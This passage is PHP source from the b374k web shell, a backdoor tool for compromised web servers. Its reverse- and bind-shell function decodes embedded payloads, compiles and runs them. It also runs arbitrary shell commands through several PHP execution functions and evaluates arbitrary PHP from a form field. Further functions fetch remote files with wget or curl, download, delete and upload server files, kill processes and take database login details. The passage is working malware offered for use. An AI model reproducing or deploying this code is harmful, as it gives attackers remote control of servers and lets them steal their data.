  77. function ss($t){
  78.     if (!get_magic_quotes_gpc()) return trim(urldecode($t));
  79.     return trim(urldecode(stripslashes($t)));
  80. }
  81. // only strip slashes
  82. function ssc($t){
  83.     if (!get_magic_quotes_gpc()) return $t;
  84.     return stripslashes($t);
  85. }
  86. // bind and reverse shell
  87. function rs($s_win, $d, $type, $sc, $target){
  88.     $result = "";
  89.  
  90.     $fc = gzinflate(base64_decode($sc));
  91.  
  92.     $errperm = "<p class=\"rs_result\">error: permission denied. check current working directory permissions</p>";
  93.     $errgcc = "<p class=\"rs_result\">error: can not compile using gcc</p>";
  94.  
  95.     if($type == "xbind_pl"){
  96.         $fname = "b374k_bind.pl";
  97.         $fpath = $d.$fname;
  98.         if(is_file($fpath)) unlink($fpath);
  99.         if($file=fopen($fpath,"w")){
  100.             fwrite($file,$fc);
  101.             fclose($file);
  102.             if(is_file($fpath)){
  103.                 $res = exe("chmod +x ".$fpath);
  104.                 $res = exe("perl ".$fpath." ".$target);
  105.             }
  106.             else $result = $errperm;
  107.         }
  108.         else $result = $errperm;
  109.     }
  110.     elseif($type == "xbind_py"){
  111.         $fname = "b374k_bind.py";
  112.         $fpath = $d.$fname;
  113.         if(is_file($fpath)) unlink($fpath);
  114.         if($file=fopen($fpath,"w")){
  115.             fwrite($file,$fc);
  116.             fclose($file);
  117.             if(is_file($fpath)){
  118.                 $res = exe("chmod +x ".$fpath);
  119.                 $res = exe("python ".$fpath." ".$target);
  120.             }
  121.             else $result = $errperm;
  122.         }
  123.         else $result = $errperm;
  124.  
  125.     }
  126.     elseif($type == "xbind_bin"){
  127.         $fname = "b374k_bind";
  128.         $fpath = $d.$fname;
  129.  
  130.         if(!$s_win){
  131.             if(is_file($fpath)) unlink($fpath);
  132.             if(is_file($fpath.".c")) unlink($fpath.".c");
  133.             if($file=fopen($fpath.".c","w")){
  134.                 fwrite($file,$fc);
  135.                 fclose($file);
  136.                 if(is_file($fpath.".c")){
  137.                     $res = exe("gcc ".$fpath.".c -o ".$fpath);
  138.                     if(is_file($fpath)){
  139.                         $res = exe("chmod +x ".$fpath);
  140.                         $res = exe($fpath." ".$target);
  141.                     }
  142.                     else $result = $errgcc;
  143.                 }
  144.                 else $result = $errperm;
  145.  
  146.             }
  147.             else $result = $errperm;
  148.         }
  149.         else{
  150.             $fpath = $fpath . ".exe";
  151.             if(is_file($fpath)) unlink($fpath);
  152.             if($file=fopen($fpath,"w")){
  153.                 fwrite($file,$fc);
  154.                 fclose($file);
  155.                 if(is_file($fpath)){
  156.                     $res = exe("\"".$fpath."\" ".$target);
  157.                 }
  158.                 else $result = $errperm;
  159.             }
  160.             else $result = $errperm;
  161.         }
  162.  
  163.     }
  164.     elseif($type == "xback_pl"){
  165.         $fname = "b374k_back.pl";
  166.         $fpath = $d.$fname;
  167.         $tar = explode(" ",$target,2);
  168.         if(is_file($fpath)) unlink($fpath);
  169.         if($file=fopen($fpath,"w")){
  170.             fwrite($file,$fc);
  171.             fclose($file);
  172.             if(is_file($fpath)){
  173.                 $res = exe("chmod +x ".$fpath);
  174.                 $res = exe("perl ".$fpath." ".$target);
  175.             }
  176.             else $result = $errperm;
  177.         }
  178.         else $result = $errperm;
  179.     }
  180.     elseif($type == "xback_py"){
  181.         $fname = "b374k_back.py";
  182.         $fpath = $d.$fname;
  183.         $tar = explode(" ",$target,2);
  184.         if(is_file($fpath)) unlink($fpath);
  185.         if($file=fopen($fpath,"w")){
  186.             fwrite($file,$fc);
  187.             fclose($file);
  188.             if(is_file($fpath)){
  189.                 $res = exe("chmod +x ".$fpath);
  190.                 $res = exe("python ".$fpath." ".$target);
  191.             }
  192.             else $result = $errperm;
  193.         }
  194.         else $result = $errperm;
  195.  
  196.     }
  197.     elseif($type == "xback_bin"){
  198.         $fname = "b374k_back";
  199.         $fpath = $d.$fname;
  200.         $tar = explode(" ",$target,2);
  201.  
  202.         if(!$s_win){
  203.             if(is_file($fpath)) unlink($fpath);
  204.             if(is_file($fpath.".c")) unlink($fpath.".c");
  205.             if($file=fopen($fpath.".c","w")){
  206.                 fwrite($file,$fc);
  207.                 fclose($file);
  208.                 if(is_file($fpath.".c")){
  209.                     $res = exe("gcc ".$fpath.".c -o ".$fpath);
  210.                     if(is_file($fpath)){
  211.                         $res = exe("chmod +x ".$fpath);
  212.                         $res = exe($fpath." ".$target);
  213.                     }
  214.                     else $result = $errgcc;
  215.                 }
  216.                 else $result = $errperm;
  217.             }
  218.             else $result = $errperm;
  219.         }
  220.         else{
  221.             $fpath = $fpath . ".exe";
  222.             if(is_file($fpath)) unlink($fpath);
  223.             if($file=fopen($fpath,"w")){
  224.                 fwrite($file,$fc);
  225.                 fclose($file);
  226.                 if(is_file($fpath)){
  227.                     $res = exe($fpath." ".$target);
  228.                 }
  229.                 else $result = $errperm;
  230.             }
  231.             else $result = $errperm;
  232.         }
  233.     }
  234.  
  235.     return $result;
  236. }
  237. // get file size
  238. function gs($f){
  239.     if($s = filesize($f)){
  240.         if($s <= 1024) return $s;
  241.         else{
  242.             if($s <= 1024*1024) {
  243.                 $s = round($s / 1024,2);;
  244.                 return $s." kb";
  245.             }
  246.             else {
  247.                 $s = round($s / 1024 / 1024,2);
  248.                 return $s." mb";
  249.             }
  250.         }
  251.     }
  252.     else return "???";
  253. }
  254. // get file permissions
  255. function gp($f){
  256.     if($m=fileperms($f)){
  257.         $p='';
  258.         $p .= ($m & 00400) ? 'r' : '-';
  259.         $p .= ($m & 00200) ? 'w' : '-';
  260.         $p .= ($m & 00100) ? 'x' : '-';
  261.         $p .= ($m & 00040) ? 'r' : '-';
  262.         $p .= ($m & 00020) ? 'w' : '-';
  263.         $p .= ($m & 00010) ? 'x' : '-';
  264.         $p .= ($m & 00004) ? 'r' : '-';
  265.         $p .= ($m & 00002) ? 'w' : '-';
  266.         $p .= ($m & 00001) ? 'x' : '-';
  267.         return $p;
  268.     }
  269.     else return "??????????";
  270. }
  271. // shell command
  272. function exe($c){
  273.     if(function_exists('system')) {
  274.         ob_start();
  275.         system($c);
  276.         $b = ob_get_contents();
  277.         ob_end_clean();
  278.         return $b;
  279.     }
  280.     elseif(function_exists('shell_exec')){
  281.         $b = shell_exec($c);
  282.         return $b;
  283.     }
  284.     elseif(function_exists('exec')) {
  285.         exec($c,$r);
  286.         $b = "";
  287.         foreach($r as $s){
  288.             $b .= $s;
  289.         }
  290.         return $b;
  291.     }
  292.     elseif(function_exists('passthru')) {
  293.         ob_start();
  294.         passthru($c);
  295.         $b = ob_get_contents();
  296.         ob_end_clean();
  297.         return $b;
  298.     }
  299.     return ""; // failed... oh my
  300. }
  301. // add slash to the end of given path
  302. function cp($p){
  303.     if(is_dir($p)){
  304.         $x = DIRECTORY_SEPARATOR;
  305.         while(substr($p,-1) == $x) $p = rtrim($p,$x);
  306.         return $p.$x;
  307.     }
  308.     return $p;
  309. }
  310. // delete dir and all of its content (no warning !) xp
  311. function rmdirs($d) {
  312.     $f = glob($d . '*', GLOB_MARK);
  313.     foreach($f as $z){
  314.         if(is_dir($z)) rmdirs($z);
  315.         else unlink($z);
  316.     }
  317.     if(is_dir($d)) rmdir($d);
  318. }
  319. function xwhich($pr){
  320.     $p = exe("which $pr");
  321.     if(trim($p)!="") { return trim($p); } else { return trim($pr); }
  322. }
  323. // download file from internet
  324. function dlfile($u,$p){
  325.     $n = basename($u);
  326.  
  327.     // try using php functions
  328.     if($t = file_get_contents($u)){
  329.         if(is_file($p)) unlink($p);;
  330.         if($f=fopen($p,"w")){
  331.             fwrite($f,$t);
  332.             fclose($f);
  333.             if(is_file($p)) return true;
  334.         }
  335.     }
  336.  
  337.     // using wget
  338.     exe(xwhich('wget')." ".$u." -O ".$p);
  339.     if(is_file($p)) return true;
  340.  
  341.     // try using lwp-download
  342.     exe(xwhich('lwp-download')." ".$u." ".$p);
  343.     if(is_file($p)) return true;
  344.  
  345.     // try using lynx
  346.     exe(xwhich('lynx')." -source ".$u." > ".$p);
  347.     if(is_file($p)) return true;
  348.  
  349.     // try using curl
  350.     exe(xwhich('curl')." ".$u." -o ".$p);
  351.     if(is_file($p)) return true;
  352.  
  353.     return false;
  354. }
  355. // explorer, return a table of given dir
  356. function showdir($pwd,$prompt,$win){
  357.     if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $posix = TRUE;
  358.     else $posix = FALSE;
  359.  
  360.     $user = "????:????";
  361.     $fname = array();
  362.     $dname = array();
  363.  
  364.     if($dh = scandir($pwd)){
  365.         foreach($dh as $file){
  366.             if(is_dir($file)) $dname[] = $file;
  367.             elseif(is_file($file)) $fname[] = $file;
  368.         }
  369.     }
  370.     else{
  371.         if($dh = opendir($pwd)){
  372.             while($file = readdir($dh)){
  373.                 if(is_dir($file)) $dname[] = $file;
  374.                 elseif(is_file($file))$fname[] = $file;
  375.             }
  376.             closedir($dh);
  377.         }
  378.     }
  379.  
  380.     sort($fname);
  381.     sort($dname);
  382.  
  383.     $path = explode(DIRECTORY_SEPARATOR,$pwd);
  384.     $tree = sizeof($path);
  385.     $parent = "";
  386.     $buff = "
  387. <table class=\"explore sortable\">
  388.     <tr><th>name</th><th style=\"width:60px;\">size</th><th style=\"width:100px;\">owner : group</th><th style=\"width:70px;\">perms</th><th style=\"width:110px;\">modified</th><th style=\"width:210px;\">actions</th></tr>
  389.     ";
  390.     if($tree > 2) for($i=0;$i<$tree-2;$i++) $parent .= $path[$i].DIRECTORY_SEPARATOR;
  391.     else $parent = $pwd;
  392.  
  393.     foreach($dname as $folder){
  394.         if($folder == ".") {
  395.             if(!$win && $posix){
  396.                 $name = posix_getpwuid(fileowner($folder));
  397.                 $group = posix_getgrgid(filegroup($folder));
  398.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  399.             }
  400.             else {
  401.                 $owner = $user;
  402.             }
  403.             $buff .= "<tr><td><a href=\"?d=".$pwd."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td  style=\"text-align:center;\">".gp($pwd)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($pwd))."</td><td><span id=\"titik1\"><a href=\"?d=$pwd&amp;edit=".$pwd."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik1','titik1_form');\">newfolder</a> | <a href=\"?upload&amp;d=$pwd\">upload</a></span>
  404.             <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik1_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  405.             <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  406.             <input class=\"inputz\" id=\"titik1_\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  407.             <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  408.             </form></td></tr>
  409.             ";
  410.         }
  411.         elseif($folder == "..") {
  412.             if(!$win && $posix){
  413.                 $name = posix_getpwuid(fileowner($folder));
  414.                 $group = posix_getgrgid(filegroup($folder));
  415.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  416.             }
  417.             else {
  418.                 $owner = $user;
  419.             }
  420.             $buff .= "<tr><td><a href=\"?d=".$parent."\">[ $folder ]</a></td><td>LINK</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($parent)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($parent))."</td><td><span id=\"titik2\"><a href=\"?d=$pwd&amp;edit=".$parent."newfile.php\">newfile</a> | <a href=\"javascript:tukar('titik2','titik2_form');\">newfolder</a> | <a href=\"?upload&amp;d=$parent\">upload</a></span>
  421.             <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"get\" id=\"titik2_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  422.             <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  423.             <input class=\"inputz\" id=\"titik2_\" style=\"width:140px;\" type=\"text\" name=\"mkdir\" value=\"a_new_folder\" />
  424.             <input class=\"inputzbut\" type=\"submit\" name=\"rename\" style=\"width:35px;\" value=\"Go !\" />
  425.             </form>
  426.             </td></tr>";
  427.         }
  428.         else {
  429.             if(!$win && $posix){
  430.                 $name = posix_getpwuid(fileowner($folder));
  431.                 $group = posix_getgrgid(filegroup($folder));
  432.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  433.             }
  434.             else {
  435.                 $owner = $user;
  436.             }
  437.             $buff .= "<tr><td><a id=\"".cs($folder)."_link\" href=\"?d=".$pwd.$folder.DIRECTORY_SEPARATOR."\">[ $folder ]</a>
  438.             <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"".cs($folder)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  439.             <input type=\"hidden\" name=\"oldname\" value=\"".$folder."\" style=\"margin:0;padding:0;\" />
  440.             <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  441.             <input class=\"inputz\" style=\"width:200px;\" id=\"".cs($folder)."_link_\" type=\"text\" name=\"newname\" value=\"".$folder."\" />
  442.             <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  443.             <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($folder)."_form','".cs($folder)."_link');\" />
  444.             </form>
  445.             <td>DIR</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($pwd.$folder)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($folder))."</td><td><a href=\"javascript:tukar('".cs($folder)."_link','".cs($folder)."_form');\">rename</a> | <a href=\"?d=".$pwd."&amp;rmdir=".$pwd.$folder."\">delete</a> | <a href=\"?upload&amp;d=".$pwd.$folder."\">upload</a></td></tr>";
  446.         }
  447.     }
  448.  
  449.     foreach($fname as $file){
  450.         $full = $pwd.$file;
  451.         if(!$win && $posix){
  452.             $name = posix_getpwuid(fileowner($full));
  453.             $group = posix_getgrgid(filegroup($full));
  454.             $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  455.         }
  456.         else {
  457.             $owner = $user;
  458.         }
  459.         $buff .= "<tr><td><a id=\"".cs($file)."_link\" href=\"?d=$pwd&amp;view=$full\">$file</a>
  460.         <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" id=\"".cs($file)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  461.         <input type=\"hidden\" name=\"oldname\" value=\"".$file."\" style=\"margin:0;padding:0;\" />
  462.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  463.         <input class=\"inputz\" style=\"width:200px;\" type=\"text\" id=\"".cs($file)."_link_\" name=\"newname\" value=\"".$file."\" />
  464.         <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  465.         <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('".cs($file)."_link','".cs($file)."_form');\" />
  466.         </form>
  467.         </td><td>".gs($full)."</td><td style=\"text-align:center;\">".$owner."</td><td style=\"text-align:center;\">".gp($full)."</td><td style=\"text-align:center;\">".date("d-M-Y H:i",filemtime($full))."</td>
  468.         <td><a href=\"?d=$pwd&amp;edit=$full\">edit</a> | <a href=\"javascript:tukar('".cs($file)."_link','".cs($file)."_form');\">rename</a> | <a href=\"?d=$pwd&amp;delete=$full\">delete</a> | <a href=\"?d=$pwd&amp;dl=$full\">download</a>&nbsp;(<a href=\"?d=$pwd&amp;dlgzip=$full\">gzip</a>)</td></tr>";
  469.     }
  470.     $buff .= "</table>";
  471.     return $buff;
  472. }
  473.  
  474. // favicon
  475. if(isset($_REQUEST['favicon'])){
  476.     $data = gzinflate(base64_decode($favicon));
  477.     header("Content-type: image/png");
  478.     header("Cache-control: public");
  479.     echo $data;
  480.     exit;
  481. }
  482. if($s_auth){
  483.     // server software
  484.     $s_software = getenv("SERVER_SOFTWARE");
  485.     // check safemode
  486.     if (ini_get("safe_mode") or strtolower(ini_get("safe_mode")) == "on")  $s_safemode = TRUE; else $s_safemode = FALSE;
  487.     // uname -a
  488.     $s_system = php_uname();
  489.     // check os
  490.     $s_win = FALSE;
  491.     if(strtolower(substr($s_system,0,3)) == "win") $s_win = TRUE;
  492.     // get path and all drives available
  493.     $letters = '';
  494.     if(!$s_win){
  495.         if(!$s_user = rp(exe("whoami"))) $s_user = "";
  496.         if(!$s_id = rp(exe("id"))) $s_id = "";
  497.         $pwd = getcwd().DIRECTORY_SEPARATOR;
  498.     }
  499.     else {
  500.         $s_user = get_current_user();
  501.         $s_id = $s_user;
  502.         $pwd = realpath(".")."\\";
  503.         // find drive letters
  504.         $v = explode("\\",$d);
  505.         $v = $v[0];
  506.         foreach (range("A","Z") as $letter){
  507.             $bool = @is_dir($letter.":\\");
  508.             if ($bool){
  509.                 $letters .= "<a href=\"?d=".$letter.":\\\">[ ";
  510.                 if ($letter.":" != $v) {$letters .= $letter;}
  511.                 else {$letters .= "<span class=\"gaya\">".$letter."</span>";}
  512.                 $letters .= " ]</a> ";
  513.             }
  514.         }
  515.     }
  516.     // prompt style..
  517.     $s_prompt = $s_user." &gt;";
  518.  
  519.     // check for posix
  520.     if(function_exists("posix_getpwuid") && function_exists("posix_getgrgid")) $s_posix = TRUE;
  521.     else $s_posix = FALSE;
  522.  
  523.     // server ip
  524.     $s_server_ip = gethostbyname($_SERVER["HTTP_HOST"]);
  525.     // your ip ;-)
  526.     $s_my_ip = $_SERVER['REMOTE_ADDR'];
  527.  
  528.     // change working directory
  529.     if(isset($_REQUEST['d'])){
  530.         $d = ss($_REQUEST['d']);
  531.         if(is_dir($d)){
  532.             chdir($d);
  533.             $pwd = cp($d);
  534.         }
  535.     }
  536.     else $pwd = cp(getcwd());
  537.     // sorttable.js
  538.     if(isset($_REQUEST['sorttable'])){
  539.         $data = gzinflate(base64_decode($sortable_js));
  540.         header("Content-type: text/plain");
  541.         header("Cache-control: public");
  542.         echo $data;
  543.         exit;
  544.     }
  545.     // download file specified by ?dl=<file>
  546.     if(isset($_REQUEST['dl']) && ($_REQUEST['dl'] != "")){
  547.         $f = ss($_REQUEST['dl']);
  548.         $fc = file_get_contents($f);
  549.         header("Content-type: application/octet-stream");
  550.         header("Content-length: ".strlen($fc));
  551.         header("Content-disposition: attachment; filename=\"".basename($f)."\";");
  552.         echo $fc;
  553.         exit;
  554.     } // download file specified by ?dlgzip=<file> as gzip
  555.     elseif(isset($_REQUEST['dlgzip']) && ($_REQUEST['dlgzip'] != "")){
  556.         $f = ss($_REQUEST['dlgzip']);
  557.         $fc = gzencode(file_get_contents($f));
  558.         header("Content-Type:application/x-gzip\n");
  559.         header("Content-length: ".strlen($fc));
  560.         header("Content-disposition: attachment; filename=\"".basename($f).".gz\";");
  561.         echo $fc;
  562.         exit;
  563.     }
  564.     // kill process specified by pid
  565.     if(isset($_REQUEST['pid'])){
  566.         $p = ss($_REQUEST['pid']);
  567.         if(function_exists("posix_kill")) posix_kill($p,'9');
  568.         else{
  569.             exe("kill -9 ".$p);
  570.             exe("taskkill /F /PID ".$p);
  571.         }
  572.     }
  573.     // view image specified by ?img=<file>
  574.     if(isset($_REQUEST['img'])){
  575.         ob_clean();
  576.         $d = ss($_REQUEST['d']);
  577.         $f = ss($_REQUEST['img']);
  578.         $inf = getimagesize($d.$f);
  579.         $ext = explode($f,".");
  580.         $ext = $ext[count($ext)-1];
  581.         header("Content-type: ".$inf["mime"]);
  582.         header("Cache-control: public");
  583.         header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
  584.         header("Cache-control: max-age=".(60*60*24*7));
  585.         readfile($d.$f);
  586.         exit;
  587.     }
  588.     // rename file or folder
  589.     if(isset($_REQUEST['rename']) && isset($_REQUEST['oldname']) && isset($_REQUEST['newname'])){
  590.         $old = ss($_REQUEST['oldname']);
  591.         $new = ss($_REQUEST['newname']);
  592.         rename($pwd.$old,$pwd.$new);
  593.         $fnew = $pwd.$new;
  594.     }
  595.     // delete file
  596.     if(isset($_REQUEST['delete']) && ($_REQUEST['delete'] != "")){
  597.         $f = ss($_REQUEST['delete']);
  598.         if(is_file($f)) unlink($f);
  599.     } // delete dir
  600.     elseif(isset($_REQUEST['rmdir']) && ($_REQUEST['rmdir'] != "")){
  601.         $f = ss(rtrim(ss($_REQUEST['rmdir'],DIRECTORY_SEPARATOR)));
  602.         if(is_dir($f)) rmdirs($f);
  603.     } // create dir
  604.     elseif(isset($_REQUEST['mkdir']) && ($_REQUEST['mkdir'] != "")){
  605.         $f = ss($pwd.ss($_REQUEST['mkdir']));
  606.         if(!is_dir($f)) mkdir($f);
  607.     }
  608.     // box result
  609.     $s_result = "";
  610.     // php eval() function
  611.     if(isset($_REQUEST['eval'])){
  612.         $c = "";
  613.         if(isset($_REQUEST['evalcode'])){
  614.             // show error
  615.             $eval_addition = "error_reporting(E_ALL);@ini_set(\"display_errors\", 1);";
  616.             $c = ss($_REQUEST['evalcode']);
  617.             ob_start();
  618.             eval(eval($eval_addition) . eval($c));
  619.             $b = ob_get_contents();
  620.             ob_end_clean();
  621.             $code = $b;
  622.         }
  623.         $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">
  624.                 <textarea id=\"evalcode\" name=\"evalcode\" class=\"evalcode\">".htmlspecialchars($code)."</textarea>
  625.                 <p><input type=\"submit\" name=\"evalcodesubmit\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;\" /></p>
  626.     <input type=\"hidden\" name=\"eval\" value=\"\" />
  627.     <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  628.     </form>
  629.                 ";
  630.     } // upload !
  631.     elseif(isset($_REQUEST['upload'])){
  632.         $s_result = " ";
  633.         $msg = "";
  634.         if(isset($_REQUEST['uploadhd'])){
  635.             $fn = $_FILES['filepath']['name'];
  636.             if(is_uploaded_file($_FILES['filepath']['tmp_name'])){
  637.                 $p = cp(ss($_REQUEST['savefolder']));
  638.                 if(!is_dir($p)) $p = cp(dirname($p));
  639.                 if(isset($_REQUEST['savefilename']) && (trim($_REQUEST['savefilename'])!="")) $fn = ss($_REQUEST['savefilename']);
  640.                 $tm = $_FILES['filepath']['tmp_name'];
  641.                 $pi = cp($p).$fn;
  642.                 $st = move_uploaded_file($tm,$pi);
  643.                 if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$pi."\">".$pi."</a></p>";
  644.                 else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>";
  645.             }
  646.             else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>";
  647.         }
  648.         elseif(isset($_REQUEST['uploadurl'])){
  649.             // function dlfile($url,$fpath){
  650.             $p = cp(ss($_REQUEST['savefolderurl']));
  651.             if(!is_dir($p)) $p = cp(dirname($p));
  652.             $fu = ss($_REQUEST['fileurl']);
  653.             $fn = basename($fu);
  654.             if(isset($_REQUEST['savefilenameurl']) && (trim($_REQUEST['savefilenameurl'])!="")) $fn = ss($_REQUEST['savefilenameurl']);
  655.             $fp = cp($p).$fn;
  656.             $st = dlfile($fu,$fp);
  657.             if($st) $msg = "<p class=\"rs_result\">file uploaded to <a href=\"?d=".$pwd."&amp;view=".$fp."\">".$fp."</a></p>";
  658.             else $msg = "<p class=\"rs_result\">failed to upload ".$fn."</p>";
  659.         }  
  660.  
  661.         $s_result .= $msg;
  662.         $s_result .= "
  663.         <form action=\"" . $_SERVER['PHP_SELF'] . "?upload\" method=\"post\" enctype=\"multipart/form-data\">
  664.         <div class=\"mybox\"><h2>Upload from computer</h2>
  665.         <table class=\"myboxtbl\">
  666.         <tr><td style=\"width:100px;\">File</td><td><input type=\"file\" name=\"filepath\" class=\"inputzbut\" style=\"width:400px;margin:0;\" />
  667.     </td></tr>
  668.         <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolder\" value=\"".$pwd."\" /></td></tr>
  669.         <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilename\" value=\"\" /></td></tr>
  670.         <tr><td>&nbsp;</td><td>
  671.         <input type=\"submit\" name=\"uploadhd\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  672.     </td></tr>
  673.  
  674.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  675.         </table>
  676.         </div>
  677.         </form>
  678.  
  679.         <form action=\"" . $_SERVER['PHP_SELF'] . "?upload\" method=\"post\">
  680.         <div class=\"mybox\"><h2>Upload from internet</h2>
  681.         <table class=\"myboxtbl\">
  682.         <tr><td style=\"width:100px;\">File URL</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"fileurl\" value=\"\" />
  683.     </td></tr>
  684.         <tr><td>Save to</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefolderurl\" value=\"".$pwd."\" /></td></tr>
  685.         <tr><td>Filename (optional)</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"savefilenameurl\" value=\"\" /></td></tr>
  686.         <tr><td>&nbsp;</td><td>
  687.         <input type=\"submit\" name=\"uploadurl\" class=\"inputzbut\" value=\"Upload !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  688.     </td></tr>
  689.  
  690.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  691.         </table>
  692.         </div>
  693.         </form>
  694.  
  695.         ";
  696.     } // show phpinfo()
  697.     elseif(isset($_REQUEST['phpinfo'])){
  698.         ob_start();
  699.         eval("phpinfo();");
  700.         $b = ob_get_contents();
  701.         ob_end_clean();
  702.         $a = strpos($b,"<body>")+6; // yeah baby,, your body is wonderland ;-)
  703.         $z = strpos($b,"</body>");
  704.         $s_result = "<div class=\"phpinfo\">".substr($b,$a,$z-$a)."</div>";
  705.     } // working with database
  706.     elseif(isset($_REQUEST['db'])){
  707.         $sqlhost = $sqlhost1 = $sqlhost2 = $sqlhost3 = $sqlhost4 = 'localhost';
  708.         $sqluser = $sqluser1 = $sqluser2 = $sqluser3 = $sqluser4 = $odbcuser = $odbcdsn = $pdodsn = $pdouser = '';
  709.         $sqlport = $sqlport1 = $sqlport2 = $sqlport3 = $sqlport4 = '';
  710.         $sqlpass = $sqlpass1 = $sqlpass2 = $sqlpass3 = $sqlpass4 = $odbcpass = $pdopass = '';
  711.  
  712.         if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlhost1'])) $sqlhost = $sqlhost1 = ss($_REQUEST['sqlhost1']);
  713.         if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlhost2'])) $sqlhost = $sqlhost2 = ss($_REQUEST['sqlhost2']);
  714.         if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlhost3'])) $sqlhost = $sqlhost3 = ss($_REQUEST['sqlhost3']);
  715.         if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlhost4'])) $sqlhost = $sqlhost4 = ss($_REQUEST['sqlhost4']);
  716.         if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcdsn'])) $odbcdsn = ss($_REQUEST['odbcdsn']);
  717.         if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdodsn'])) $pdodsn = ss($_REQUEST['pdodsn']);
  718.         if(isset($_REQUEST['sqlhost'])) $sqlhost = ss($_REQUEST['sqlhost']);
  719.  
  720.         if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqluser1'])) $sqluser = $sqluser1 = ss($_REQUEST['sqluser1']);
  721.         if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqluser2'])) $sqluser = $sqluser2 = ss($_REQUEST['sqluser2']);
  722.         if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqluser3'])) $sqluser = $sqluser3 = ss($_REQUEST['sqluser3']);
  723.         if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqluser4'])) $sqluser = $sqluser4 = ss($_REQUEST['sqluser4']);
  724.         if(isset($_REQUEST['odbccon'])&&isset($_REQUEST['odbcuser'])) $odbcuser = ss($_REQUEST['odbcuser']);
  725.         if(isset($_REQUEST['pdocon'])&&isset($_REQUEST['pdouser'])) $pdouser = ss($_REQUEST['pdouser']);
  726.         if(isset($_REQUEST['sqluser'])) $sqluser = ss($_REQUEST['sqluser']);
  727.  
  728.         if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlport1'])) $sqlport = $sqlport1 = ss($_REQUEST['sqlport1']);
  729.         if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlport2'])) $sqlport = $sqlport2 = ss($_REQUEST['sqlport2']);
  730.         if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlport3'])) $sqlport = $sqlport3 = ss($_REQUEST['sqlport3']);
  731.         if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlport4'])) $sqlport = $sqlport4 = ss($_REQUEST['sqlport4']);
  732.         if(isset($_REQUEST['sqlport'])) $sqlport = ss($_REQUEST['sqlport']);
  733.  
  734.         if(isset($_REQUEST['mysqlcon'])&&isset($_REQUEST['sqlpass1'])) $sqlpass = $sqlpass1 = ss($_REQUEST['sqlpass1']);
  735.         if(isset($_REQUEST['mssqlcon'])&&isset($_REQUEST['sqlpass2'])) $sqlpass = $sqlpass2 = ss($_REQUEST['sqlpass2']);
  736.         if(isset($_REQUEST['pgsqlcon'])&&isset($_REQUEST['sqlpass3'])) $sqlpass = $sqlpass3 = ss($_REQUEST['sqlpass3']);
  737.         if(isset($_REQUEST['oraclecon'])&&isset($_REQUEST['sqlpass4'])) $sqlpass = $sqlpass4 = ss($_REQUEST['sqlpass4']);
